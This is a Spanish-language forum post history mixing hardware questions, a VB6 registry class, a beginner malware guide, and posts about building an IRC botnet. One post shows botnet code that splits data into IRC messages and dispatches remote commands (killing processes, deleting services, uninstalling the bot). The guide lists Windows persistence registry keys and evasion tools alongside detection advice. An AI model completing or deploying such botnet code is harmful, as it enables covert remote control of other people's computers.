                    If RegSetValueEx(mKey, sName, 0, EnuRegType, ByVal CStr(vValue), LenData) = ERROR_SUCCESS Then
                        WriteValue = True
                    End If

                Case REG_DWORD
                    If RegSetValueEx(mKey, sName, 0, EnuRegType, CLng(vValue), 4) = ERROR_SUCCESS Then
                        WriteValue = True
                    End If
                Case REG_BINARY
                    Select Case VarType(vValue)
                        Case (vbArray Or vbByte)
                            bData = vValue
                            LenData = UBound(bData) + 1
                            If RegSetValueEx(mKey, sName, 0, EnuRegType, bData(0), LenData) = ERROR_SUCCESS Then
                                WriteValue = True
                            End If
                        Case vbString
                            LenData = Len(vValue)
                            If RegSetValueEx(mKey, sName, 0, EnuRegType, ByVal CStr(vValue), LenData) = ERROR_SUCCESS Then
                                WriteValue = True
                            End If
                        Case 0
                            If RegSetValueEx(mKey, sName, 0, EnuRegType, 0&, 0&) = ERROR_SUCCESS Then
                                WriteValue = VarType(vValue)
                            End If
                    End Select

            End Select
        End If
        RegCloseKey mKey
    End If
   
End Function


Private Function GetKeys(sPath As String, sKey As String) As rcMainKey
    Dim Pos As Long, mk As String
   
    sPath = Replace$(sPath, "HKCR", "HKEY_CLASSES_ROOT", , , 1)
    sPath = Replace$(sPath, "HKCU", "HKEY_CURRENT_USER", , , 1)
    sPath = Replace$(sPath, "HKLM", "HKEY_LOCAL_MACHINE", , , 1)
    sPath = Replace$(sPath, "HKUS", "HKEY_USERS", , , 1)
    sPath = Replace$(sPath, "HKCC", "HKEY_CURRENT_CONFIG", , , 1)
   
    Pos = InStr(1, sPath, "\")

    If (Pos = 0) Then
        mk = UCase$(sPath)
        sKey = ""
    Else
        mk = UCase$(Left$(sPath, Pos - 1))
        sKey = Right$(sPath, Len(sPath) - Pos)
    End If
   
    Select Case mk
        Case "HKEY_CLASSES_ROOT": GetKeys = HKEY_CLASSES_ROOT
        Case "HKEY_CURRENT_USER": GetKeys = HKEY_CURRENT_USER
        Case "HKEY_LOCAL_MACHINE": GetKeys = HKEY_LOCAL_MACHINE
        Case "HKEY_USERS": GetKeys = HKEY_USERS
        Case "HKEY_CURRENT_CONFIG": GetKeys = HKEY_CURRENT_CONFIG
    End Select
   
End Function


Private Sub SetBackupAndRestorePriviliges()
    Dim m_RestoreLuid   As Luid
    Dim m_BackupLuid    As Luid

    Call OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVLEGES Or TOKEN_QUERY, m_hToken)
    Call LookupPrivilegeValue(vbNullString, SE_RESTORE_NAME, m_RestoreLuid)
    Call LookupPrivilegeValue(vbNullString, SE_BACKUP_NAME, m_BackupLuid)
   
    m_TP.PrivilegeCount = 2
    m_TP.Privileges(0).pLuid = m_RestoreLuid
    m_TP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    m_TP.Privileges(1).pLuid = m_BackupLuid
    m_TP.Privileges(1).Attributes = SE_PRIVILEGE_ENABLED
   
    Call AdjustTokenPrivileges(m_hToken, 0, m_TP, Len(m_TP), 0&, 0&)

End Sub

Private Sub ResetBackupAndRestorePriviliges()
    Call AdjustTokenPrivileges(m_hToken, 1, m_TP, Len(m_TP), 0&, 0&)
End Sub

Private Sub Class_Terminate()
    bCancelSearch = True
End Sub



Si me puedes decir un breve ejemplo para listar las carpetas del registro

Saludos! espero ayuda detallada de como utilizar tu modulo. Muchas gracias por leer!
#11
Hola saludos a todos, tengo una consulta.. estoy intentando instalar el iATKOS L2, primero probe instalandolo en un HDD USB externo pero no me inicia bien.. lo que me gustaria es instalarlo en una particion del disco primario que tengo, en donde tengo Windows 7 instalado pero no puedo formatear esa particion a HFS (me parece que es necesario formatear las tablas de todo el disco).. si alguien me pudiese hechar una mano se lo agradeceria! ;)



La idea es instalarlo en esos 253GB sobrantes..

Saludos!

PD : He intentado formatearla con el MacDrive pero no deja..
#12
Hola buenas a todos mi consulta es la siguiente, tengo una placa madre Asus P8H77-V LE. En el disco duro principal SATA tengo instalado Windows 7 pero con modo IDE, ¿es posible instalar los drivers AHCI sin tener que formatear el sistema operativo que tengo?.. he probado cambiando en el registro la clave msahci start (0) pero cuando reinicio crashea (boot0: error).

Tambien he intentado instalar los drivers desde un asistente pero me dice que el sistema no cumple los requisitos. Y si hago una copia de seguridad del disco duro no me sirve porque esta instalado bajo IDE.

¿Habrá alguna manera de instalar los drivers AHCI estando en IDE y que al reiniciar en modo AHCI no falle?..




Un saludo!
#13
Hola buenas tardes, necesito una ayuda con un iMac que me esta dando problemas.
Tengo instalada una maquina virtual con WifiSlax 4.9, cuando conecto la antena en la VBox y me conecto a la red wifi me da direccion IP y demas datos de conexion, DNS etc.. puedo acceder bien a internet..



El problema es cuando me intento conectar con la antena desde el iMac en este caso tiene una version 10.8.5 Mountain Lion, le he instalado los drivers que vienen en el CD y funciona el asistente perfectamente, me da la direccion IP de la Red y servidores DNS puerta de enlace etc.. pero no puedo acceder a internet. Hice pings a la puerta de enlace y me responde con un "Request time out icmp.." como si no reconociese la puerta de enlace a la que esta conectada.. he probado de todo y no logro hacerla funcionar correctamente, en el Asistente de conexion del Mac me dice que esta conectado pero no reconoce la antena como una wifi, la reconoce como un dispositivo conectado por Usb y me sale el mismo logo de Ethernet..

En definitiva me dice que esta conectado a la red wlan pero no responde pings ni siquira desde la puerta de enlace..

Si alguien puede hecharme una mano se lo agradeceria ya que llevo con problemas desde hace mas de una semana.

La antena es la siguiente :



La herramienta con la que me conecto desde el Mac es Wireles network utility :



Un saludo y gracias de antemano.
#14
Buenas a todos, ayer hice hackintosh en un Asus A8V Deluxe (AMD 64 Athlon), el objetivo de esto es poder instalar el xcode para aprender a desarrollar aplicaciones para iOS. Dejé descargando un torrent (4GB) pero no consigo instalarlo.

- Selecciono la carpeta Developers con todas las opciones tildadas.
- Empieza la instalación y salta un error desconocido :

CitarEl instalador ha detectado un error que ha impedido completar la instalación. Ponganse en contacto con el fabricante del software para solicitar ayuda.

El sistema que instalé fue el Snow Leopard 10.6.3, posteriormente actualicé a la versión 10.6.7 (Sabiendo que es necesaria una versión posterior para instalar xcode)...

Soy un novato en Mac, agradezco cualquier ayuda.

Estoy descargando otro torrent (1GB).. por probar..

Un saludo! :)
#15
Bueno instalé el Delphi 2009 y le metí un parche, lo que me ocurre es que al iniciarlo va cargando normal y luego me salta un error como este :



- Windows 7 (64 bits)
- Ejecutado como administrador y compatibilidad en Windows XP SP2


Saludos!   :huh:
#16
CitarBueno tras varios dias, semanas o meses sin haber publicado nada y estar inactivo en el blog, decido hacer público este codigo de fuente que me ha costado bastante en llevarlo adelante. Se trata de una botnet que usa conexión IRC, tiene algunas funciones acabadas como la lista de procesos, lista de servicios, listado de ventanas, etc..

El propósito de esta botnet era hacerla estilo R.A.T (Herramienta de administración remota), destacar de las demás que sólo se centraban en los ataques de denegación de servicio e implementarle funciones de administración remota. Hay muchos inconvenientes con los ideales que se pretendían y el protocolo usado (IRC) : lentitud, poca flexibilidad, etc..

Dejo el codigo abierto para cualquier que se atreva a mejorarlo y si hay algún valiente, a acabarlo, siempre respetando los creditos de autor.



Autor del modulo mSock : Leandro Ascierto

Descargar codigo de fuente

Saludos!
#17
Programación Visual Basic / Problema con Botnet IRC
16 Noviembre 2010, 13:42 PM
Bueno, me explico, estoy haciendo una botnet IRC con interfaz usuario (parecido a un RAT) y tengo algunos problemas en el envio de datos, el protocolo IRC me limita bastante e intento escapar como puedo de esas limitaciones. Uno de mis primeros problemas es el envio de datos, yo envio los datos partiendolo en 429 carácteres, ya que los mensajes en los canales IRC no permiten mas.. por lo tanto mi método de envio es así :

Código (vb) [Seleccionar]
Public Function Split_Data(ByVal Total_Data As String, ByVal Channel As String)
    Dim lData              As Long
    Dim lPack              As Long
    Dim sData              As String
 
    'Total_Data = "[E]" & Huffman.EncodeString(Total_Data)
    lData = Len(Total_Data)
   
    If s_Active = True Then
        If lData > 429 Then
            lPack = (Len(Total_Data) / 429) + 1
   
            While p < lPack
                  If s_Active = True Then
                        If p = 0 Then
                                  sData = Mid$(Total_Data, 1, 429)
                        Else
                                  sData = Mid$(Total_Data, p * 429, 429)
                        End If
                       
                        Wait 2
                        mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & sData & vbCrLf
                       
                        p = p + 1
                        DoEvents
                  End If
            Wend
        Else
                  Wait 2
                  mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & Total_Data & vbCrLf
        End If
    End If
   
    p = 0
End Function


Todo bien, lo que quiero resaltar es ese entero llamado p (numero de paquetes) que lo uso aparte de para ir contando los paquetes de 429 carácteres, lo uso para saber si todavía sigue enviando datos, porque las funciones cuando el servidor las recibe las pongo como en una especie de cola ejecutandose en un nuevo 'thread' :

Código (vb) [Seleccionar]
Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
    If p = 0 Then
       Call KillTimer(hWnd, uElapse)

       Select Case uElapse
               Case 1:       Sender_Info (s_Chan)
               Case 2:       Sender_TotalInfo (s_Chan)
               Case 3:       Sender_Process (s_Chan)
               Case 4:       Terminate_Process (Command(2))
               Case 5:       Sender_Services (s_Chan)
               Case 6:       Start_Service (Command(2))
               Case 7:       Stop_Service (Command(2))
               Case 8:       Delete_Service (Command(2))
               Case 9:       Restart_BOT
               Case 10:      Close_BOT
               Case 11:      Uninstall_BOT
               Case 12:      Sender_Windows (s_Chan)
               'Case 13:      Close_Window (Command(2))
               'Case 14:      Hide_Window (Command(2))
               'Case 15:      Maximize_Window (Command(2))
               'Case 16:      Minimize_Window (Command(2))
               'Case 17:      Show_Window (Command(2))
       End Select
    End If
End Function


Como véis la p la uso como identificador para saber si sigue enviandose la anterior función para poder seguir con la siguiente... mi problema es que la p a veces (cuando el cliente envia muchas funciones seguidas) me falla como identificador y se para la acción anterior, envia la siguiente o simplemente hace un exceso de flood en el IRC.. no se me ocurre ningún identificador para eso.

Ese era mi primer problema, mi segundo problemilla (me interesa primero el anterior para resolver) es la lentitud de envio, sabiendo que envia solo 429 carácteres en cada paquete de envio y tiene que enviar mucha información, no sabría como saltarme ese limite de otra forma.

Saludos! =)
#18
    Bueno ayer hice una pequeña guía explicando lo que es el malware en general un poco de historia, sus funciones básicas y algunas cositas mas..
dejo los links ya que sinceramente me dá un poco de pereza pegarlo y ordenarlo todo con BBCodes  :-[

Citar
  • Índice
  • Presentación
  • Historia
  • Porqué y cómo se programa
  • Tipos
  • Identificación
    • ¿Desde dónde llega?
    • ¿Cómo se instala en nuestro equipo?
    • ¿Cómo podemos evitarlo?
    • ¿Cómo podemos detectarlo y eliminarlo?
  • Despedida


Presentación

Bueno, antes que nada gracias por elegir este blog para informarte y guiarte sobre la [In]Seguridad Informática y el Analisis y diseño de Malware, esta guia/manual ha sido escrita por mi (shark0) con el único objetivo de informar y enseñar a la gente que todavía no está muy metida en el mundo 'underground' de la informática. Cualquier comentario, queja, o idea que quieras compartir puedes escribirme a shark0[at]hotmail.es o dejar un comentario en esta misma entrada.Espero que te sirva de mucho este documento.Aclarar que en esta guía se hablará de malware basado para el sistema operativo Windows.

Historia

CitarMalware (del inglés malicious software), también llamado badware, software malicioso o software malintencionado es un tipo de software que tiene como objetivo infiltrarse o dañar una computadora sin el consentimiento de su propietario. El término malware es muy utilizado por profesionales de la informática para referirse a una variedad de software hostil, intrusivo o molesto. El término virus informático es utilizado en muchas ocasiones para referirse a todos los tipos de malware, incluyendo los verdaderos virus.El software es considerado malware en base a las intenciones del autor a la hora de crearlo. El término malware incluye virus, gusanos, troyanos, la mayoría de los rootkits, spyware, adware intrusivo, crimeware y otros software maliciosos e indeseables.

Como todo lo relacionado con la tecnología el Malware ha avanzado mucho desde el precursor de los virus informáticos, el juego CoreWar (1959) era un juego basado en la teoría de Von Neumann y en el que el objetivo es que programas combatan entre sí tratando de ocupar toda la memoria de la máquina eliminando así a los oponentes.

En 1972 Robert Thomas Morris crea el primer virus (Creeper) era capaz de infectar máquinas IBM 360 de la red ARPANET, para eliminarlo se creó otro virus (vacuna) llamado Reaper.

En 1987 hace su aparición el virus Jerusalem o Viernes 13, que era capaz de infectar archivos .EXE y .COM. Su primera aparición fue reportada desde la Universidad Hebrea de Jerusalem y ha llegado a ser uno de los virus más famosos de la historia.

En 1999 surge el gusano Happy desarrollado por el francés Spanska que crea una nueva corriente en cuanto al desarrollo de malware que persiste hasta el día de hoy: el envío de gusanos por correo electrónico. Este gusano estaba encaminado y programado para propagarse a través del correo electrónico.

En el año 2000 hubo una infección que tuvo muchísima repercusión mediática debido a los daños ocasionados por la infección tan masiva que produjo. Fuel el gusano I Love You o LoveLetter, que, basándose en técnicas de ingeniería social infectaba a los usuarios a través del correo electrónico. Comenzaba aquí la época de grandes epidemias masivas que tuvieron su punto álgido en el 2004.

Fue en ese año cuando aparecieron gusanos como el Mydoom, el Netsky, el Sasser, o el Bagle, que alarmaron a toda la sociedad y lo que buscaban era tener la mayor repercusión y reconocimiento posible. Ese fue el año más duro de este tipo epidemias y curiosamente el último. Los creadores de malware se dieron cuenta de que sus conocimientos servirían para algo más que para tener repercusión mediática... para ganar dinero.

Fuente : Panda Security, Wikipedia

Porqué y cómo se programa

Cualquier tipo de malware es programado según los ideales que tenga el programador, el malware actualmente se programa por o para:


  • Su estudio y análisis para fortalecer la seguridad
  • Su alta demanda en el mercado negro
  • Compartirlo y 'ganar un poco de fama'
  • Uso a una baja, media o alta escala
  • La competición entre empresas

Hay gente novata que cree que el malware se programa de forma diferente a un software, el malware se programa como cualquier otro tipo de software, con cualquier lenguaje de programación y conocimiento sobre él, se puede programar.

Tipos

Existen muchos tipos de malware, y a medida de que va pasando el tiempo se van creando nuevos y más avanzados. Actualmente los más oidos en el mundo 'underground' son los siguientes:

  • Troyano : Es uno de los malwares mas usados, se basa en la conexión de un cliente y servidor oculto, ya sea por conexión directa (cliente > servidor) o conexión inversa (servidor>cliente), el cliente manda ordenes al servidor y posteriormente el servidor las ejecuta. Un troyano actualmente puede recopilar todas las funciones que se puedan imaginar (captura de pantalla, captura de camara web, propagación como un gusano, administración de archivos.. procesos.. servicios.., keylogger, etc..) es el malware mas completo que hay hoy en dia ya que reune todas las funciones de los tipos de malware en uno solo.

  • Botnet : Parecido a un troyano pero con otros ideales, el troyano se suele usar para espiar las maquinas infectadas, en cambio una botnet se suele usar para infectar un alto numero de maquinas (zombies, bots..) y usarlas para atacar a un host, con ataques como DDOS.. no suele ser raro que las companías usen esta clase de malware para quitarse de en medio a la competencia.

  • Virus : Un virus informático es un malware que tiene una función fija a ejecutar, al contrario que un troyano o una botnet que no tienen objetivo de destrucción y que se manejan por un usuario. La mayoría de virus son usados para uso destructivo.

  • Gusano : Los gusanos informáticos cumplen una función básica, que es propagarse así mismo o duplicarse, se suele propagar por canales de comunicación como la Mensajeria Instantanea, redes P2P, redes compartidas.. su función secundaria es consumir ancho de banda o dejar inestable una red.

  • Keylogger : El keylogger es otro malware espía, su función principal es la captura de teclas presionadas en el ordenador, posteriormente se enviaría un log al usuario atacante con todas las teclas capturadas y ventanas abiertas. Se usa mucho en el cibercrimen para el robo de cuentas de cualquier tipo. Aparte de la existencia de un keylogger tipo Software, existe también el keylogger tipo hardware, que tiene la forma de un pendrive.

  • Stealer : Un stealer es  un tipo de malware 'nuevo' por llamarlo de alguna forma, su función es el robo de cualquier tipo de información, mayormente cuentas de programas que necesiten un login como clientes FTPs, Mensajeria Instantánea o simplemente el robo de información. No es necesaria su instalación ya que cuando se ejecuta el stealer rapidamente captura los datos y se los envia al atacante por medio de FTP, E-MAIL o WEB, posteriormente se borra así mismo.

  • Rootkit : Es un malware que tiene una sola función, esconderse así mismo o esconder a otro tipo de malware ya sea troyano, keylogger..., hay rootkits para diferentes sistemas operativos e interactúan desde el kernel para poder tener control total sobre el sistema y así esconderse de una forma avanzada.

  • Adware : Es un malware molesto, el adware es la publicidad que sale al meterse en alguna pagina web sospechosa o por medio de alguna aplicación, su objetivo es hacer pagar al usuario un software para que quite el montón de publicidad, claramente ese software es creado por los creadores de adware y así cobrar una cantidad de dinero. También obtienen cierta información del usuario lo cual se caracteriza también como Spyware.

  • Spyware : El spyware se encarga de instalarse en el ordenador del usuario, recopila información privada y se la manda a empresas publicitarias u otras organizaciones interesadas.

  • Bootkit : Los bootkits son un tipo de hibrido entre virus~rootkit, es un malware avanzado que se instala en el sector cero (MBR) del disco duro, son muy dificiles de eliminar e invisibles, por más que formatees seguirá ahí.
  • Backdoor : Un backdoor es una puerta trasera que deja el programador en una aplicación para poder saltarse la seguridad o algoritmo que lleva, como una especie de atajo.

Aparte de estos tipos de Malware, existen herramientas paralelas para el uso de malware, aquí entran los programas que se encargan de facilitar el envío de estos y saltar cualquier tipo de obstáculo que pueda surgir en la máquina o en la desconfianza del usuario al ejecutarlo.

  • Crypter : Los crypters (Encriptadores), se encargan de ofuscar un archivo con un algoritmo para que los antivirus no puedan detectarlo, posteriormente al abrir el archivo final, el llamado 'Stub' del crypter descifra el archivo y lo ejecuta en memoria para que los antivirus no puedan detectarlo.

  • Binder : Los binders (Juntadores), se encargan de unir varios archivos en uno solo, esto facilita al atacante la ingenieria social sobre el usuario a infectar, juntando el servidor de un troyano por ejemplo con una imagen, al abrir el archivo final se ejecuta el servidor del troyano en conjunto con la imagen, haciendole creer al usuario que es una imagen de verdad.

  • Joiner : Los joiners es igual que un binder con una simple diferencia y es que tambien se encarga de cifrar los archivos para no ser detectados, es el conjunto de un binder con un crypter.

  • Spreader : Los spreaders (Propagadores), se encargan de añadir un gusano al malware seleccionado, así empezará a propagarse por los diferentes tipos de protocolos y aplicaciones.

  • Downloader : Los downloaders (Descargadores), se suelen usar cuando un malware es muy pesado por cualquier motivo, empezaron a salir cuando el protector Themida empezó a usarse para ofuscar distintos tipos de malware y en consecuencia de ello los dejaba muy pesados, los downloaders descargan un archivo alojado en un hosting y lo ejecuta silenciosamente.


- ¿Desde dónde llega?

El malware puede llegar desde cualquier sitio, cuando un sistema es inseguro puede meterse cualquiera en nuestro sistema, seguidamente explicaré cómo pueden llegar a nuestro sistema sin darnos cuenta.

  • Desde internet : Internet es una red muy amplia, el 60% de las aplicaciones que usamos comúnmente en nuestro ordenador utiliza esta gran red. Pongamos el ejemplo de que encendemos el ordenador e iniciamos sesión, el 90% de las personas después de encender el ordenador se meten a programas de comunicación y redes sociales. Nos metemos a nuestro programa de mensajería instantánea y un amigo te propone enviarte un archivo. Te fijas que te está enviando un archivo comprimido en (.rar) o (.zip), donde dentro hay un archivo ejecutable (.exe), él te dice que es una imagen (en realidad es un archivo ejecutable con el icono cambiado por un archivo de imagen), a simple vista parece una imagen, pero si tienes configurado en las opciones de carpeta poder ver la extensión te das cuenta.


Los extensiones de archivos ejecutables en Windows son : (.exe), (.com ), (.scr), (.pif).. cualquiera de estas extensiones puede ejecutar una cabecera PE. Hay muchas formas de intrusión de malware por internet :

  • Paginas webs falsas: Hay muchas paginas web con código dañino para que se descargue malware en tu pc, por ejemplo los llamados 'fakes' que son objetos falsos en la página web, un ejemplo que hacen creer al usuario de que su versión de Adobe Flash Player está desactualizada y le pide que descargue la que ofrece la pagina web.
  • Paginas webs que explotan vulnerabilidades: Cada día salen nuevas vulnerabilidades para cualquier tipo de software, los navegadores no son menos para salvarse, algunas vulnerabilidades se aprovechan de  un fallo en el navegador para que cuando un usuario entre a la pagina web se le ejecute silecionsamente y automáticamente un archivo ejecutable sin la necesidad de que el usuario interactue.

  • Redes P2P: El protocolo P2P (Peer to Peer) se encarga de compartir archivos entre ordenadores que interactuan como cliente y servidor a la misma vez, un usuario cualquiera puede poner a compartir el servidor de un troyano con un nombre falso como por ejemplo el nombre de una canción conocida y todas las personas que busquen el nombre de esa canción y se descargan ese archivo, lo ejecutarán.

  • Vulnerabilidades: Las vulnerabilidades de las aplicaciones son muy importantes en el tema de nuestra seguridad, si una persona ataca a nuestro ordenador con un lanzador de exploits como Metasploit, sabiendo que usamos una aplicación que es vulnerable a ejecución de código remoto, podrá obtener la consola de nuestro sistema, ejecutarnos cualquier archivo, listarnos los procesos, etc.. Para prevenir estos incidentes hay que tener siempre las aplicaciones que usemos actualizadas u otra aplicación paralela que cumpla con la misma función.

  • E-Mails con adjuntos:La mayoría de los virus en la época fueron propagados por e-mail, hoy en dia se sigue haciendo enviando e-mails con archivos adjuntos, aunque los servicios de correo como hotmail y gmail tengan un antivirus para el escaneo de esos archivos adjuntos, no hay que confiarse ya que un antivirus es facil saltarselo.

  • Desde red local o físicamente: Como suelen decir, a veces el enemigo está en casa, suponiendo que un ordenador no tenga acceso a internet y que este infectado de algun tipo de malware, es porque hay dos posibles propagaciones. Alguien puede entrar fisicamente al ordenador y sin saberlo poner un pendrive que tiene un gusano dentro que ha sido propagado por toda la red y también cumple con una función de propagación por USB, al conectar el pendrive automaticamente gracias a un fichero Autorun.inf se ejecutará y seguirá intentando infectar por red local (compartiendo archivos por netbios) o por dispositivos extraíbles.


- ¿Cómo se instala en nuestro equipo?

Dependiendo el tipo de malware y con la estructura de programación que cumplió el programador a la hora de crearlo se instalará de una forma u otra o no se instalará. En caso de que el malware se instale siempre procurará hacerlo oculto y silencioso, es obvio que el programador no quiera que el usuario se dé cuenta de que se ha instalado un 'bichito' en su equipo.

En Windows hay varias maneras de instalarse para que al arrancar el sistema se siga ejecutando el archivo.

  • Run : Por registro (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run), se agrega una clave nueva en la carpeta Run del registro, es facil de detectar esta instalación ejecutando el archivo 'msconfig' desde la consola y en la pestaña inicio se puede ver los programas que se inician con la clave de registro.

  • RunOnce : Igual que Run, (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce).

  • ActiveX : Por registro, es la carpeta de los componentes instalados, igual que los dos anteriores pero en este caso no se muestra en la pestaña Inicio de msconfig, (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components).

  • Carpeta Inicio : Es una carpeta de windows cuya ruta es (C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio),  todo programa que se encuentre en esa carpeta se ejecutará al inicio.

  • ShellExplorer : Otra ruta de registro, esta se encarga de iniciar el explorer.exe del sistema windows (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell).

  • UserInit : Otra ruta de registro, esta se encarga de iniciar el userinit.exe del sistema, (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit).

  • Complemento de Navegador : Al instalar un complemento para un navegador especifico, puede saltar la seguridad del filtro de complementos del navegador y ejecutar algun malware.

  • Driver o Servicio : Algunos malwares como los Rootkits necesitan instalarse a un nivel para poder controlar mucho más el pc infectado, algunos llegan hasta el ring0.

El malware antes de agregarse al inicio del sistema se copia en algun directorio para posteriormente iniciarse, para ayudarse a que no sea visto se copia con atributos de ocultación o para ayudarse a no ser eliminado se atribuye también tipo de archivo del sistema. En algunos casos puede llegar haber dos archivos para la instalación, el segundo archivo se encargaría de verificar si el archivo se ha borrado volverlo a instalar, por lo tanto es doble el trabajo para desintalarlo.


¿Cómo podemos evitarlo?

Es dificil estar siempre 100% seguros a ataques ya que siempre se puede cometer algun error, pero se pueden prevenir los más básicos de las siguientes formas:

  • Descargar software que necesitemos de paginas webs de confianza o de la pagina oficial del autor.
  • Tener actualizado al dia cualquier aplicación que usemos.
  • Tener un antivirus actualizado al dia, el 40% de las veces no confien en el escaneo del antivirus, ya que hay muchas técnicas de indetectabilización de malware.
  • Tener un sniffer para controlar las conexiones que se hacen en tu ordenador.
  • Tener un firewall seguro y actualizado.
  • Instalar una maquina virtual y ejecutar los programas en ella para un posterior análisis, cuando se esté seguro pasarlo al ordenador personal.


¿Cómo podemos detectarlo y eliminarlo?

En el caso de que nos hallamos despistado y tengamos algún malware dentro de nuestro ordenador, primero que nada repasar los consejos anteriores para evitarlos, en el caso de que no podamos encontrarlo o detectarlo, a continuación haré una breve demostración con la ayuda de algunas aplicaciones de como podemos detectarlo.

Pongamos el ejemplo de que empiece a funcionar un poco raro nuestro ordenador, el led de la camara web se prende y se apaga, hay mucho consumo de banda ancha, y el sistema vaya un poco lento. Sabemos que algo raro está pasando pero.. ¿que puede ser?, lo primero que miraremos será las conexiones entrantes y salientes con un sniffer muy simple y a nivel usuario, el TcpView.

Primero de todo cabe aclarar que algunos malwares se inyectan en algunos procesos del sistema, o se inyectan en el navegador predeterminado para ello se necesitan algunos sniffers mas avanzados como por ejemplo el WireShark o el SocketSniff.

Yo pondré un ejemplo básico para que os de por lo menos una idea, al abrir el TcpView vemos un montón de conexiones a la izquierda vemos el icono y el nombre de la aplicación y a la derecha vemos todos los datos de conexión.


Me capta la atención una conexión, y es que hay un proceso que se está conectando a una ip con el puerto común del protocolo IRC, pero.. ¿como puede ser? si yo no estoy en ningún canal chateando por IRC.. si le damos a click derecho en el proceso y a Process Properties nos mostrará información sobre la ruta donde se encuentra el archivo, cerrariamos el proceso y lo borrariamos.

Pero.. yo no me quedo tranquilo, ¿como puedo saber yo si se ha eliminado completamente, y no hay ningún malware por ahí molestando?.. miraremos haber si hay alguna aplicación que se haya añadido al inicio de windows, para ello utilizaremos una aplicación muy conocida, HijackThis.


Al hacerle click a Scan, mostrará las aplicaciones que están agregadas al inicio de windows, servicios, etc.. Por suerte nuestro pequeño 'Bot.exe' no se inicia con windows, pero  ¿y si.. se sobrescribió un programa que usa mucha gente como el Messenger, y el bot sobreescribió el archivo del Msn por el del bot? el proceso del MSN se inicia con windows, por eso siempre hay que fijarse si no hay ninguna sustitución.

Bueno ahora que sabemos donde está y si se instaló o no.. quiero saber de donde vino.. para ello podemos ir sacando algunos datos, por ejemplo utilizaremos un editor hexadecimal como el HexWorkShop. Con este programa miraremos si hay texto legible en hexadecimal, los compiladores de los lenguajes de programación añaden datos al ejecutable, también el servidor de troyanos o distintos tipos de malware tienen que guardar la información que le pasan en algún lado.. hay varios lugares donde un malware puede puede guardar los datos de configuración y las ordenes con las que se programó si se usó un constructor (builder), dos de ellos son:


  • EOF : End Of File (Final del archivo), algunos constructores que configuran el servidor guardan los datos al final del archivo, si los datos no llegan estar cifrados o son faciles de descifrar se puede obtener datos importantes del atacante mirandolo con un editor hexadecimal.
  • Recursos : La otra forma de guardar los datos que un constructor tiene, es por medio de los recursos, el constructor añade un recurso al servidor con todos los datos metidos, para poder ver si tiene recursos que puedan ser importantes para obtener información se puede usar un editor de recursos como el Resource Hacker o XN Resource Editor.

Aquí podemos ver que el compilador de VB6 ha añadido la ruta del proyecto, en la ruta viene incluido el nombre de usuario del atacante.


Se puede deducir que he sido atacado con una botnet manejada por IRC.

Si nos cuesta mucho encontrar donde está el malware, podemos optar a descargar un antivirus como el NOD32, actualizarlo y hacer un escaner para ver si detecta el bicho.

Pero como dice el refrán mejor prevenir que curar, dejaré algunas aplicaciones de análisis que les puede servir para cuando descarguen o le pasen un archivo sospechoso puedan analizarlo completamente, obviamente.. analizandolo todo desde una maquina virtual como VMWare.



Despedida

Bueno creo que la guía fue un poco básica y que les ayudará a muchos de posibles ataques que tengan a aquellas personas que no sabían mucho sobre el tema, cualquier duda que tengan o idea para añadir (por si se me escapó algo) pueden comentar en esta misma entrada.

Saludos![/list]
#19
Hacking / Problemas con Nessus 4.2.2
11 Septiembre 2010, 04:00 AM
Bueno he instalado la ultima versión de Nessus, y tengo algunos problemas con la conexion al servidor.. algunas veces no conecta (https://localhost:8834), y cuando conecta me logeo, y hago un escaner a cualquier IP.. (creo la regla 'policie' y todo..) el escaneo dura 1 seg, y no tiene ningun resultado simplemente pone como 'completado'.. cuando escaneo a mi localhost si funciona.. ya se hablaria de un problema de firewal.. bueno entonces probe a desactivar el firewall y nada, lo mismo.




¿A que puede ser debido?, ¿como puedo corregirlo?

Un saludo!
#20
Bueno esta semana he estado trabajando en el siguiente proyecto, iRIS es un programa que obtiene las copias de seguridad (backups) que hace iTunes al sincronizar con el dispositivo iPhone o iTouch (no ha sido testeado con el iTouch), el programa escaneará las copias de seguridad que haya en el PC y obtendrá datos como :


  • Información del dispositivo
  • Mensajes
  • Historial de llamadas
  • Notas
  • Lista de buzones de voz (no los reproduce por ahora)
  • Lista de contactos
  • Lista de numeros
  • Eventos del calendario
  • Lista de amigos
  • Bases de datos

El programa tiene la opción de guardar en texto plano lo que capture, esta opción es primordial si no quieres estar esperando a que cargue los datos o si la copia de seguridad se ha actualizado y quieres guardar la anterior. Todo eso es configurable en la pestaña 'Options'.







Descargar iRIS v1.0 (Beta)

Descargar iRIS v1.0 (Beta) [RAR]

Saludos! ;)
#21
Bueno ahi lo dice bien claro el titulo, estoy desarrollando un proyecto y necesito saber como leer ese tipo de archivos digamos.. para leerlos claramente.

Un saludo! =)
#22
Bueno estoy intentando obtener el contenido del historial de las conversaciones del Windows Live Messenger, lo que he hecho hasta ahora es obtener las ventanas y sus controles con EnumWindows y EnumChildWindows, luego con el programa AccExplorer he visto el nombre del control :



En el code he debugeado infinitas veces y en una conversación me puede obtener bastantes nombres con DirectUIHWND :

CitarDirectUIHWNDive WindowBar Class                                                                                                 
DirectUIHWNDssWindowBar Class                                                                                                   
DirectUIHWNDive WindowBar Class                                                                                                 
DirectUIHWNDssWindowBar Class                                                                                                   
DirectUIHWNDive WindowBar Class                                                                                                 
DirectUIHWNDssWindowBar Class

Un problema es que no se si es exactamente el que estoy buscando el 'Historial', apartando esta duda he intentado obtener el valor de esos controles con SendMessage copiando el valor al clipboard :

Código (vb) [Seleccionar]
SendMessage(lngWinChildHandle(x), WM_COPY, 0, 0)

La API me devuelve 0 y no me copia nada al clipboard.

No se que puedo hacer para cumplir mi objetivo que es obtener el contenido del historial, y me gustaria hacerlo por este método, no capturando paquetes ni nada.

